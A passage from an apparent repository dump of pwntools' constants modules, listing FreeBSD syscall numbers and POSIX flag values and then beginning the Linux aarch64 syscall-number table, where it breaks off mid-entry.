Constant('SYS_access',33)\nSYS_chflags = Constant('SYS_chflags',34)\nSYS_fchflags = Constant('SYS_fchflags',35)\nSYS_sync = Constant('SYS_sync',36)\nSYS_kill = Constant('SYS_kill',37)\nSYS_getppid = Constant('SYS_getppid',39)\nSYS_dup = Constant('SYS_dup',41)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_getegid = Constant('SYS_getegid',43)\nSYS_profil = Constant('SYS_profil',44)\nSYS_ktrace = Constant('SYS_ktrace',45)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getlogin = Constant('SYS_getlogin',49)\nSYS_setlogin = Constant('SYS_setlogin',50)\nSYS_acct = Constant('SYS_acct',51)\nSYS_sigaltstack = Constant('SYS_sigaltstack',53)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_reboot = Constant('SYS_reboot',55)\nSYS_revoke = Constant('SYS_revoke',56)\nSYS_symlink = Constant('SYS_symlink',57)\nSYS_readlink = Constant('SYS_readlink',58)\nSYS_execve = Constant('SYS_execve',59)\nSYS_umask = Constant('SYS_umask',60)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_msync = Constant('SYS_msync',65)\nSYS_vfork = Constant('SYS_vfork',66)\nSYS_sbrk = Constant('SYS_sbrk',69)\nSYS_sstk = Constant('SYS_sstk',70)\nSYS_vadvise = Constant('SYS_vadvise',72)\nSYS_munmap = Constant('SYS_munmap',73)\nSYS_mprotect = Constant('SYS_mprotect',74)\nSYS_madvise = Constant('SYS_madvise',75)\nSYS_mincore = Constant('SYS_mincore',78)\nSYS_getgroups = Constant('SYS_getgroups',79)\nSYS_setgroups = Constant('SYS_setgroups',80)\nSYS_getpgrp = Constant('SYS_getpgrp',81)\nSYS_setpgid = Constant('SYS_setpgid',82)\nSYS_setitimer = Constant('SYS_setitimer',83)\nSYS_swapon = Constant('SYS_swapon',85)\nSYS_getitimer = Constant('SYS_getitimer',86)\nSYS_getdtablesize = Constant('SYS_getdtablesize',89)\nSYS_dup2 = Constant('SYS_dup2',90)\nSYS_fcntl = Constant('SYS_fcntl',92)\nSYS_select = Constant('SYS_select',93)\nSYS_fsync = Constant('SYS_fsync',95)\nSYS_setpriority = Constant('SYS_setpriority',96)\nSYS_socket = Constant('SYS_socket',97)\nSYS_connect = Constant('SYS_connect',98)\nSYS_getpriority = Constant('SYS_getpriority',100)\nSYS_bind = Constant('SYS_bind',104)\nSYS_setsockopt = Constant('SYS_setsockopt',105)\nSYS_listen = Constant('SYS_listen',106)\nSYS_gettimeofday = Constant('SYS_gettimeofday',116)\nSYS_getrusage = Constant('SYS_getrusage',117)\nSYS_getsockopt = Constant('SYS_getsockopt',118)\nSYS_readv = Constant('SYS_readv',120)\nSYS_writev = Constant('SYS_writev',121)\nSYS_settimeofday = Constant('SYS_settimeofday',122)\nSYS_fchown = Constant('SYS_fchown',123)\nSYS_fchmod = Constant('SYS_fchmod',124)\nSYS_setreuid = Constant('SYS_setreuid',126)\nSYS_setregid = Constant('SYS_setregid',127)\nSYS_rename = Constant('SYS_rename',128)\nSYS_flock = Constant('SYS_flock',131)\nSYS_mkfifo = Constant('SYS_mkfifo',132)\nSYS_sendto = Constant('SYS_sendto',133)\nSYS_shutdown = Constant('SYS_shutdown',134)\nSYS_socketpair = Constant('SYS_socketpair',135)\nSYS_mkdir = Constant('SYS_mkdir',136)\nSYS_rmdir = Constant('SYS_rmdir',137)\nSYS_utimes = Constant('SYS_utimes',138)\nSYS_adjtime = Constant('SYS_adjtime',140)\nSYS_setsid = Constant('SYS_setsid',147)\nSYS_quotactl = Constant('SYS_quotactl',148)\nSYS_nlm_syscall = Constant('SYS_nlm_syscall',154)\nSYS_nfssvc = Constant('SYS_nfssvc',155)\nSYS_freebsd4_statfs = Constant('SYS_freebsd4_statfs',157)\nSYS_freebsd4_fstatfs = Constant('SYS_freebsd4_fstatfs',158)\nSYS_lgetfh = Constant('SYS_lgetfh',160)\nSYS_getfh = Constant('SYS_getfh',161)\nSYS_freebsd4_getdomainname = Constant('SYS_freebsd4_getdomainname',162)\nSYS_freebsd4_setdomainname = Constant('SYS_freebsd4_setdomainname',163)\nSYS_freebsd4_uname = Constant('SYS_freebsd4_uname',164)\nSYS_sysarch = Constant('SYS_sysarch',165)\nSYS_rtprio = Constant('SYS_rtprio',166)\nSYS_semsys = Constant('SYS_semsys',169)\nSYS_msgsys = Constant('SYS_msgsys',170)\nSYS_shmsys = Constant('SYS_shmsys',171)\nSYS_freebsd6_pread = Constant('SYS_freebsd6_pread',173)\nSYS_freebsd6_pwrite = Constant('SYS_freebsd6_pwrite',174)\nSYS_setfib = Constant('SYS_setfib',175)\nSYS_ntp_adjtime = Constant('SYS_ntp_adjtime',176)\nSYS_setgid = Constant('SYS_setgid',181)\nSYS_setegid = Constant('SYS_setegid',182)\nSYS_seteuid = Constant('SYS_seteuid',183)\nSYS_stat = Constant('SYS_stat',188)\nSYS_fstat = Constant('SYS_fstat',189)\nSYS_lstat = Constant('SYS_lstat',190)\nSYS_pathconf = Constant('SYS_pathconf',191)\nSYS_fpathconf = Constant('SYS_fpathconf',192)\nSYS_getrlimit = Constant('SYS_getrlimit',194)\nSYS_setrlimit = Constant('SYS_setrlimit',195)\nSYS_getdirentries = Constant('SYS_getdirentries',196)\nSYS_freebsd6_mmap = Constant('SYS_freebsd6_mmap',197)\nSYS___syscall = Constant('SYS___syscall',198)\nSYS_freebsd6_lseek = Constant('SYS_freebsd6_lseek',199)\nSYS_freebsd6_truncate = Constant('SYS_freebsd6_truncate',200)\nSYS_freebsd6_ftruncate = Constant('SYS_freebsd6_ftruncate',201)\nSYS___sysctl = Constant('SYS___sysctl',202)\nSYS_mlock = Constant('SYS_mlock',203)\nSYS_munlock = Constant('SYS_munlock',204)\nSYS_undelete = Constant('SYS_undelete',205)\nSYS_futimes = Constant('SYS_futimes',206)\nSYS_getpgid = Constant('SYS_getpgid',207)\nSYS_poll = Constant('SYS_poll',209)\nSYS_freebsd7___semctl = Constant('SYS_freebsd7___semctl',220)\nSYS_semget = Constant('SYS_semget',221)\nSYS_semop = Constant('SYS_semop',222)\nSYS_freebsd7_msgctl = Constant('SYS_freebsd7_msgctl',224)\nSYS_msgget = Constant('SYS_msgget',225)\nSYS_msgsnd = Constant('SYS_msgsnd',226)\nSYS_msgrcv = Constant('SYS_msgrcv',227)\nSYS_shmat = Constant('SYS_shmat',228)\nSYS_freebsd7_shmctl = Constant('SYS_freebsd7_shmctl',229)\nSYS_shmdt = Constant('SYS_shmdt',230)\nSYS_shmget = Constant('SYS_shmget',231)\nSYS_clock_gettime = Constant('SYS_clock_gettime',232)\nSYS_clock_settime = Constant('SYS_clock_settime',233)\nSYS_clock_getres = Constant('SYS_clock_getres',234)\nSYS_ktimer_create = Constant('SYS_ktimer_create',235)\nSYS_ktimer_delete = Constant('SYS_ktimer_delete',236)\nSYS_ktimer_settime = Constant('SYS_ktimer_settime',237)\nSYS_ktimer_gettime = Constant('SYS_ktimer_gettime',238)\nSYS_ktimer_getoverrun = Constant('SYS_ktimer_getoverrun',239)\nSYS_nanosleep = Constant('SYS_nanosleep',240)\nSYS_ntp_gettime = Constant('SYS_ntp_gettime',248)\nSYS_minherit = Constant('SYS_minherit',250)\nSYS_rfork = Constant('SYS_rfork',251)\nSYS_openbsd_poll = Constant('SYS_openbsd_poll',252)\nSYS_issetugid = Constant('SYS_issetugid',253)\nSYS_lchown = Constant('SYS_lchown',254)\nSYS_aio_read = Constant('SYS_aio_read',255)\nSYS_aio_write = Constant('SYS_aio_write',256)\nSYS_lio_listio = Constant('SYS_lio_listio',257)\nSYS_getdents = Constant('SYS_getdents',272)\nSYS_lchmod = Constant('SYS_lchmod',274)\nSYS_netbsd_lchown = Constant('SYS_netbsd_lchown',275)\nSYS_lutimes = Constant('SYS_lutimes',276)\nSYS_netbsd_msync = Constant('SYS_netbsd_msync',277)\nSYS_nstat = Constant('SYS_nstat',278)\nSYS_nfstat = Constant('SYS_nfstat',279)\nSYS_nlstat = Constant('SYS_nlstat',280)\nSYS_preadv = Constant('SYS_preadv',289)\nSYS_pwritev = Constant('SYS_pwritev',290)\nSYS_freebsd4_fhstatfs = Constant('SYS_freebsd4_fhstatfs',297)\nSYS_fhopen = Constant('SYS_fhopen',298)\nSYS_fhstat = Constant('SYS_fhstat',299)\nSYS_modnext = Constant('SYS_modnext',300)\nSYS_modstat = Constant('SYS_modstat',301)\nSYS_modfnext = Constant('SYS_modfnext',302)\nSYS_modfind = Constant('SYS_modfind',303)\nSYS_kldload = Constant('SYS_kldload',304)\nSYS_kldunload = Constant('SYS_kldunload',305)\nSYS_kldfind = Constant('SYS_kldfind',306)\nSYS_kldnext = Constant('SYS_kldnext',307)\nSYS_kldstat = Constant('SYS_kldstat',308)\nSYS_kldfirstmod = Constant('SYS_kldfirstmod',309)\nSYS_getsid = Constant('SYS_getsid',310)\nSYS_setresuid = Constant('SYS_setresuid',311)\nSYS_setresgid = Constant('SYS_setresgid',312)\nSYS_aio_return = Constant('SYS_aio_return',314)\nSYS_aio_suspend = Constant('SYS_aio_suspend',315)\nSYS_aio_cancel = Constant('SYS_aio_cancel',316)\nSYS_aio_error = Constant('SYS_aio_error',317)\nSYS_oaio_read = Constant('SYS_oaio_read',318)\nSYS_oaio_write = Constant('SYS_oaio_write',319)\nSYS_olio_listio = Constant('SYS_olio_listio',320)\nSYS_yield = Constant('SYS_yield',321)\nSYS_mlockall = Constant('SYS_mlockall',324)\nSYS_munlockall = Constant('SYS_munlockall',325)\nSYS___getcwd = Constant('SYS___getcwd',326)\nSYS_sched_setparam = Constant('SYS_sched_setparam',327)\nSYS_sched_getparam = Constant('SYS_sched_getparam',328)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',329)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',330)\nSYS_sched_yield = Constant('SYS_sched_yield',331)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',332)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',333)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',334)\nSYS_utrace = Constant('SYS_utrace',335)\nSYS_freebsd4_sendfile = Constant('SYS_freebsd4_sendfile',336)\nSYS_kldsym = Constant('SYS_kldsym',337)\nSYS_jail = Constant('SYS_jail',338)\nSYS_nnpfs_syscall = Constant('SYS_nnpfs_syscall',339)\nSYS_sigprocmask = Constant('SYS_sigprocmask',340)\nSYS_sigsuspend = Constant('SYS_sigsuspend',341)\nSYS_freebsd4_sigaction = Constant('SYS_freebsd4_sigaction',342)\nSYS_sigpending = Constant('SYS_sigpending',343)\nSYS_freebsd4_sigreturn = Constant('SYS_freebsd4_sigreturn',344)\nSYS_sigtimedwait = Constant('SYS_sigtimedwait',345)\nSYS_sigwaitinfo = Constant('SYS_sigwaitinfo',346)\nSYS___acl_get_file = Constant('SYS___acl_get_file',347)\nSYS___acl_set_file = Constant('SYS___acl_set_file',348)\nSYS___acl_get_fd = Constant('SYS___acl_get_fd',349)\nSYS___acl_set_fd = Constant('SYS___acl_set_fd',350)\nSYS___acl_delete_file = Constant('SYS___acl_delete_file',351)\nSYS___acl_delete_fd = Constant('SYS___acl_delete_fd',352)\nSYS___acl_aclcheck_file = Constant('SYS___acl_aclcheck_file',353)\nSYS___acl_aclcheck_fd = Constant('SYS___acl_aclcheck_fd',354)\nSYS_extattrctl = Constant('SYS_extattrctl',355)\nSYS_extattr_set_file = Constant('SYS_extattr_set_file',356)\nSYS_extattr_get_file = Constant('SYS_extattr_get_file',357)\nSYS_extattr_delete_file = Constant('SYS_extattr_delete_file',358)\nSYS_aio_waitcomplete = Constant('SYS_aio_waitcomplete',359)\nSYS_getresuid = Constant('SYS_getresuid',360)\nSYS_getresgid = Constant('SYS_getresgid',361)\nSYS_kqueue = Constant('SYS_kqueue',362)\nSYS_kevent = Constant('SYS_kevent',363)\nSYS_extattr_set_fd = Constant('SYS_extattr_set_fd',371)\nSYS_extattr_get_fd = Constant('SYS_extattr_get_fd',372)\nSYS_extattr_delete_fd = Constant('SYS_extattr_delete_fd',373)\nSYS___setugid = Constant('SYS___setugid',374)\nSYS_eaccess = Constant('SYS_eaccess',376)\nSYS_afs3_syscall = Constant('SYS_afs3_syscall',377)\nSYS_nmount = Constant('SYS_nmount',378)\nSYS___mac_get_proc = Constant('SYS___mac_get_proc',384)\nSYS___mac_set_proc = Constant('SYS___mac_set_proc',385)\nSYS___mac_get_fd = Constant('SYS___mac_get_fd',386)\nSYS___mac_get_file = Constant('SYS___mac_get_file',387)\nSYS___mac_set_fd = Constant('SYS___mac_set_fd',388)\nSYS___mac_set_file = Constant('SYS___mac_set_file',389)\nSYS_kenv = Constant('SYS_kenv',390)\nSYS_lchflags = Constant('SYS_lchflags',391)\nSYS_uuidgen = Constant('SYS_uuidgen',392)\nSYS_sendfile = Constant('SYS_sendfile',393)\nSYS_mac_syscall = Constant('SYS_mac_syscall',394)\nSYS_getfsstat = Constant('SYS_getfsstat',395)\nSYS_statfs = Constant('SYS_statfs',396)\nSYS_fstatfs = Constant('SYS_fstatfs',397)\nSYS_fhstatfs = Constant('SYS_fhstatfs',398)\nSYS_ksem_close = Constant('SYS_ksem_close',400)\nSYS_ksem_post = Constant('SYS_ksem_post',401)\nSYS_ksem_wait = Constant('SYS_ksem_wait',402)\nSYS_ksem_trywait = Constant('SYS_ksem_trywait',403)\nSYS_ksem_init = Constant('SYS_ksem_init',404)\nSYS_ksem_open = Constant('SYS_ksem_open',405)\nSYS_ksem_unlink = Constant('SYS_ksem_unlink',406)\nSYS_ksem_getvalue = Constant('SYS_ksem_getvalue',407)\nSYS_ksem_destroy = Constant('SYS_ksem_destroy',408)\nSYS___mac_get_pid = Constant('SYS___mac_get_pid',409)\nSYS___mac_get_link = Constant('SYS___mac_get_link',410)\nSYS___mac_set_link = Constant('SYS___mac_set_link',411)\nSYS_extattr_set_link = Constant('SYS_extattr_set_link',412)\nSYS_extattr_get_link = Constant('SYS_extattr_get_link',413)\nSYS_extattr_delete_link = Constant('SYS_extattr_delete_link',414)\nSYS___mac_execve = Constant('SYS___mac_execve',415)\nSYS_sigaction = Constant('SYS_sigaction',416)\nSYS_sigreturn = Constant('SYS_sigreturn',417)\nSYS_getcontext = Constant('SYS_getcontext',421)\nSYS_setcontext = Constant('SYS_setcontext',422)\nSYS_swapcontext = Constant('SYS_swapcontext',423)\nSYS_swapoff = Constant('SYS_swapoff',424)\nSYS___acl_get_link = Constant('SYS___acl_get_link',425)\nSYS___acl_set_link = Constant('SYS___acl_set_link',426)\nSYS___acl_delete_link = Constant('SYS___acl_delete_link',427)\nSYS___acl_aclcheck_link = Constant('SYS___acl_aclcheck_link',428)\nSYS_sigwait = Constant('SYS_sigwait',429)\nSYS_thr_create = Constant('SYS_thr_create',430)\nSYS_thr_exit = Constant('SYS_thr_exit',431)\nSYS_thr_self = Constant('SYS_thr_self',432)\nSYS_thr_kill = Constant('SYS_thr_kill',433)\nSYS__umtx_lock = Constant('SYS__umtx_lock',434)\nSYS__umtx_unlock = Constant('SYS__umtx_unlock',435)\nSYS_jail_attach = Constant('SYS_jail_attach',436)\nSYS_extattr_list_fd = Constant('SYS_extattr_list_fd',437)\nSYS_extattr_list_file = Constant('SYS_extattr_list_file',438)\nSYS_extattr_list_link = Constant('SYS_extattr_list_link',439)\nSYS_ksem_timedwait = Constant('SYS_ksem_timedwait',441)\nSYS_thr_suspend = Constant('SYS_thr_suspend',442)\nSYS_thr_wake = Constant('SYS_thr_wake',443)\nSYS_kldunloadf = Constant('SYS_kldunloadf',444)\nSYS_audit = Constant('SYS_audit',445)\nSYS_auditon = Constant('SYS_auditon',446)\nSYS_getauid = Constant('SYS_getauid',447)\nSYS_setauid = Constant('SYS_setauid',448)\nSYS_getaudit = Constant('SYS_getaudit',449)\nSYS_setaudit = Constant('SYS_setaudit',450)\nSYS_getaudit_addr = Constant('SYS_getaudit_addr',451)\nSYS_setaudit_addr = Constant('SYS_setaudit_addr',452)\nSYS_auditctl = Constant('SYS_auditctl',453)\nSYS__umtx_op = Constant('SYS__umtx_op',454)\nSYS_thr_new = Constant('SYS_thr_new',455)\nSYS_sigqueue = Constant('SYS_sigqueue',456)\nSYS_kmq_open = Constant('SYS_kmq_open',457)\nSYS_kmq_setattr = Constant('SYS_kmq_setattr',458)\nSYS_kmq_timedreceive = Constant('SYS_kmq_timedreceive',459)\nSYS_kmq_timedsend = Constant('SYS_kmq_timedsend',460)\nSYS_kmq_notify = Constant('SYS_kmq_notify',461)\nSYS_kmq_unlink = Constant('SYS_kmq_unlink',462)\nSYS_abort2 = Constant('SYS_abort2',463)\nSYS_thr_set_name = Constant('SYS_thr_set_name',464)\nSYS_aio_fsync = Constant('SYS_aio_fsync',465)\nSYS_rtprio_thread = Constant('SYS_rtprio_thread',466)\nSYS_sctp_peeloff = Constant('SYS_sctp_peeloff',471)\nSYS_sctp_generic_sendmsg = Constant('SYS_sctp_generic_sendmsg',472)\nSYS_sctp_generic_sendmsg_iov = Constant('SYS_sctp_generic_sendmsg_iov',473)\nSYS_sctp_generic_recvmsg = Constant('SYS_sctp_generic_recvmsg',474)\nSYS_pread = Constant('SYS_pread',475)\nSYS_pwrite = Constant('SYS_pwrite',476)\nSYS_mmap = Constant('SYS_mmap',477)\nSYS_lseek = Constant('SYS_lseek',478)\nSYS_truncate = Constant('SYS_truncate',479)\nSYS_ftruncate = Constant('SYS_ftruncate',480)\nSYS_thr_kill2 = Constant('SYS_thr_kill2',481)\nSYS_shm_open = Constant('SYS_shm_open',482)\nSYS_shm_unlink = Constant('SYS_shm_unlink',483)\nSYS_cpuset = Constant('SYS_cpuset',484)\nSYS_cpuset_setid = Constant('SYS_cpuset_setid',485)\nSYS_cpuset_getid = Constant('SYS_cpuset_getid',486)\nSYS_cpuset_getaffinity = Constant('SYS_cpuset_getaffinity',487)\nSYS_cpuset_setaffinity = Constant('SYS_cpuset_setaffinity',488)\nSYS_faccessat = Constant('SYS_faccessat',489)\nSYS_fchmodat = Constant('SYS_fchmodat',490)\nSYS_fchownat = Constant('SYS_fchownat',491)\nSYS_fexecve = Constant('SYS_fexecve',492)\nSYS_fstatat = Constant('SYS_fstatat',493)\nSYS_futimesat = Constant('SYS_futimesat',494)\nSYS_linkat = Constant('SYS_linkat',495)\nSYS_mkdirat = Constant('SYS_mkdirat',496)\nSYS_mkfifoat = Constant('SYS_mkfifoat',497)\nSYS_mknodat = Constant('SYS_mknodat',498)\nSYS_openat = Constant('SYS_openat',499)\nSYS_readlinkat = Constant('SYS_readlinkat',500)\nSYS_renameat = Constant('SYS_renameat',501)\nSYS_symlinkat = Constant('SYS_symlinkat',502)\nSYS_unlinkat = Constant('SYS_unlinkat',503)\nSYS_posix_openpt = Constant('SYS_posix_openpt',504)\nSYS_gssd_syscall = Constant('SYS_gssd_syscall',505)\nSYS_jail_get = Constant('SYS_jail_get',506)\nSYS_jail_set = Constant('SYS_jail_set',507)\nSYS_jail_remove = Constant('SYS_jail_remove',508)\nSYS_closefrom = Constant('SYS_closefrom',509)\nSYS___semctl = Constant('SYS___semctl',510)\nSYS_msgctl = Constant('SYS_msgctl',511)\nSYS_shmctl = Constant('SYS_shmctl',512)\nSYS_lpathconf = Constant('SYS_lpathconf',513)\nSYS_cap_new = Constant('SYS_cap_new',514)\nSYS_cap_getrights = Constant('SYS_cap_getrights',515)\nSYS_cap_enter = Constant('SYS_cap_enter',516)\nSYS_cap_getmode = Constant('SYS_cap_getmode',517)\nSYS_pdfork = Constant('SYS_pdfork',518)\nSYS_pdkill = Constant('SYS_pdkill',519)\nSYS_pdgetpid = Constant('SYS_pdgetpid',520)\nSYS_pselect = Constant('SYS_pselect',522)\nSYS_getloginclass = Constant('SYS_getloginclass',523)\nSYS_setloginclass = Constant('SYS_setloginclass',524)\nSYS_rctl_get_racct = Constant('SYS_rctl_get_racct',525)\nSYS_rctl_get_rules = Constant('SYS_rctl_get_rules',526)\nSYS_rctl_get_limits = Constant('SYS_rctl_get_limits',527)\nSYS_rctl_add_rule = Constant('SYS_rctl_add_rule',528)\nSYS_rctl_remove_rule = Constant('SYS_rctl_remove_rule',529)\nSYS_posix_fallocate = Constant('SYS_posix_fallocate',530)\nSYS_posix_fadvise = Constant('SYS_posix_fadvise',531)\nSYS_wait6 = Constant('SYS_wait6',532)\nSYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',533)\n_POSIX_ADVISORY_INFO = Constant('_POSIX_ADVISORY_INFO',200112)\n_POSIX_ASYNCHRONOUS_IO = Constant('_POSIX_ASYNCHRONOUS_IO',0)\n_POSIX_CHOWN_RESTRICTED = Constant('_POSIX_CHOWN_RESTRICTED',1)\n_POSIX_CLOCK_SELECTION = Constant('_POSIX_CLOCK_SELECTION',(-1))\n_POSIX_CPUTIME = Constant('_POSIX_CPUTIME',(-1))\n_POSIX_FSYNC = Constant('_POSIX_FSYNC',200112)\n_POSIX_IPV6 = Constant('_POSIX_IPV6',0)\n_POSIX_JOB_CONTROL = Constant('_POSIX_JOB_CONTROL',1)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200112)\n_POSIX_MEMLOCK = Constant('_POSIX_MEMLOCK',(-1))\n_POSIX_MEMLOCK_RANGE = Constant('_POSIX_MEMLOCK_RANGE',200112)\n_POSIX_MEMORY_PROTECTION = Constant('_POSIX_MEMORY_PROTECTION',200112)\n_POSIX_MESSAGE_PASSING = Constant('_POSIX_MESSAGE_PASSING',200112)\n_POSIX_MONOTONIC_CLOCK = Constant('_POSIX_MONOTONIC_CLOCK',200112)\n_POSIX_NO_TRUNC = Constant('_POSIX_NO_TRUNC',1)\n_POSIX_PRIORITIZED_IO = Constant('_POSIX_PRIORITIZED_IO',(-1))\n_POSIX_PRIORITY_SCHEDULING = Constant('_POSIX_PRIORITY_SCHEDULING',200112)\n_POSIX_RAW_SOCKETS = Constant('_POSIX_RAW_SOCKETS',200112)\n_POSIX_REALTIME_SIGNALS = Constant('_POSIX_REALTIME_SIGNALS',200112)\n_POSIX_SEMAPHORES = Constant('_POSIX_SEMAPHORES',200112)\n_POSIX_SHARED_MEMORY_OBJECTS = Constant('_POSIX_SHARED_MEMORY_OBJECTS',200112)\n_POSIX_SPORADIC_SERVER = Constant('_POSIX_SPORADIC_SERVER',(-1))\n_POSIX_SYNCHRONIZED_IO = Constant('_POSIX_SYNCHRONIZED_IO',(-1))\n_POSIX_TIMEOUTS = Constant('_POSIX_TIMEOUTS',200112)\n_POSIX_TIMERS = Constant('_POSIX_TIMERS',200112)\n_POSIX_TYPED_MEMORY_OBJECTS = Constant('_POSIX_TYPED_MEMORY_OBJECTS',(-1))\n_POSIX_VDISABLE = Constant('_POSIX_VDISABLE',0xff)\n_XOPEN_SHM = Constant('_XOPEN_SHM',1)\n_XOPEN_STREAMS = Constant('_XOPEN_STREAMS',(-1))\n_POSIX_VERSION = Constant('_POSIX_VERSION',200112)\nF_OK = Constant('F_OK',0)\nX_OK = Constant('X_OK',0x01)\nW_OK = Constant('W_OK',0x02)\nR_OK = Constant('R_OK',0x04)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSEEK_DATA = Constant('SEEK_DATA',3)\nSEEK_HOLE = Constant('SEEK_HOLE',4)\nL_SET = Constant('L_SET',0)\nL_INCR = Constant('L_INCR',1)\nL_XTND = Constant('L_XTND',2)\n_PC_LINK_MAX = Constant('_PC_LINK_MAX',1)\n_PC_MAX_CANON = Constant('_PC_MAX_CANON',2)\n_PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3)\n_PC_NAME_MAX = Constant('_PC_NAME_MAX',4)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',5)\n_PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6)\n_PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7)\n_PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8)\n_PC_VDISABLE = Constant('_PC_VDISABLE',9)\n_PC_ASYNC_IO = Constant('_PC_ASYNC_IO',53)\n_PC_PRIO_IO = Constant('_PC_PRIO_IO',54)\n_PC_SYNC_IO = Constant('_PC_SYNC_IO',55)\n_PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',10)\n_PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',12)\n_PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',14)\n_PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',15)\n_PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',16)\n_PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',17)\n_PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',18)\n_PC_ACL_EXTENDED = Constant('_PC_ACL_EXTENDED',59)\n_PC_ACL_PATH_MAX = Constant('_PC_ACL_PATH_MAX',60)\n_PC_CAP_PRESENT = Constant('_PC_CAP_PRESENT',61)\n_PC_INF_PRESENT = Constant('_PC_INF_PRESENT',62)\n_PC_MAC_PRESENT = Constant('_PC_MAC_PRESENT',63)\n_PC_ACL_NFS4 = Constant('_PC_ACL_NFS4',64)\n_PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',21)\nRFNAMEG = Constant('RFNAMEG',(1<<0))\nRFENVG = Constant('RFENVG',(1<<1))\nRFFDG = Constant('RFFDG',(1<<2))\nRFNOTEG = Constant('RFNOTEG',(1<<3))\nRFPROC = Constant('RFPROC',(1<<4))\nRFMEM = Constant('RFMEM',(1<<5))\nRFNOWAIT = Constant('RFNOWAIT',(1<<6))\nRFCNAMEG = Constant('RFCNAMEG',(1<<10))\nRFCENVG = Constant('RFCENVG',(1<<11))\nRFCFDG = Constant('RFCFDG',(1<<12))\nRFTHREAD = Constant('RFTHREAD',(1<<13))\nRFSIGSHARE = Constant('RFSIGSHARE',(1<<14))\nRFLINUXTHPN = Constant('RFLINUXTHPN',(1<<16))\nRFSTOPPED = Constant('RFSTOPPED',(1<<17))\nRFHIGHPID = Constant('RFHIGHPID',(1<<18))\nRFTSIGZMB = Constant('RFTSIGZMB',(1<<19))\nRFTSIGSHIFT = Constant('RFTSIGSHIFT',20)\nRFTSIGMASK = Constant('RFTSIGMASK',0xFF)\nRFPROCDESC = Constant('RFPROCDESC',(1<<28))\nRFPPWAIT = Constant('RFPPWAIT',(1<<31))\nRFFLAGS = Constant('RFFLAGS',((1<<2) | (1<<4) | (1<<5) | (1<<6) | (1<<12) |      (1<<13) | (1<<14) | (1<<16) | (1<<17) | (1<<18) | (1<<19) |      (1<<28) | (1<<31)))\nRFKERNELONLY = Constant('RFKERNELONLY',((1<<17) | (1<<18) | (1<<31) | (1<<28)))\n"
  },
  {
    "path": "pwnlib/constants/linux/__init__.py",
    "content": ""
  },
  {
    "path": "pwnlib/constants/linux/aarch64.py",
    "content": "from pwnlib.constants.constant import Constant\n_AARCH64_SYSCALL_H = Constant('_AARCH64_SYSCALL_H',1)\n__NR_io_setup = Constant('__NR_io_setup',0)\n__NR_io_destroy = Constant('__NR_io_destroy',1)\n__NR_io_submit = Constant('__NR_io_submit',2)\n__NR_io_cancel = Constant('__NR_io_cancel',3)\n__NR_io_getevents = Constant('__NR_io_getevents',4)\n__NR_setxattr = Constant('__NR_setxattr',5)\n__NR_lsetxattr = Constant('__NR_lsetxattr',6)\n__NR_fsetxattr = Constant('__NR_fsetxattr',7)\n__NR_getxattr = Constant('__NR_getxattr',8)\n__NR_lgetxattr = Constant('__NR_lgetxattr',9)\n__NR_fgetxattr = Constant('__NR_fgetxattr',10)\n__NR_listxattr = Constant('__NR_listxattr',11)\n__NR_llistxattr = Constant('__NR_llistxattr',12)\n__NR_flistxattr = Constant('__NR_flistxattr',13)\n__NR_removexattr = Constant('__NR_removexattr',14)\n__NR_lremovexattr = Constant('__NR_lremovexattr',15)\n__NR_fremovexattr = Constant('__NR_fremovexattr',16)\n__NR_getcwd = Constant('__NR_getcwd',17)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',18)\n__NR_eventfd2 = Constant('__NR_eventfd2',19)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',20)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',21)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',22)\n__NR_dup = Constant('__NR_dup',23)\n__NR_dup3 = Constant('__NR_dup3',24)\n__NR_fcntl = Constant('__NR_fcntl',25)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',26)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',27)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',28)\n__NR_ioctl = Constant('__NR_ioctl',29)\n__NR_ioprio_set = Constant('__NR_ioprio_set',30)\n__NR_ioprio_get = Constant('__NR_ioprio_get',31)\n__NR_flock = Constant('__NR_flock',32)\n__NR_mknodat = Constant('__NR_mknodat',33)\n__NR_mkdirat = Constant('__NR_mkdirat',34)\n__NR_unlinkat = Constant('__NR_unlinkat',35)\n__NR_symlinkat = Constant('__NR_symlinkat',36)\n__NR_linkat = Constant('__NR_linkat',37)\n__NR_renameat = Constant('__NR_renameat',38)\n__NR_umount2 = Constant('__NR_umount2',39)\n__NR_mount = Constant('__NR_mount',40)\n__NR_pivot_root = Constant('__NR_pivot_root',41)\n__NR_nfsservctl = Constant('__NR_nfsservctl',42)\n__NR_statfs = Constant('__NR_statfs',43)\n__NR_fstatfs = Constant('__NR_fstatfs',44)\n__NR_truncate = Constant('__NR_truncate',45)\n__NR_ftruncate = 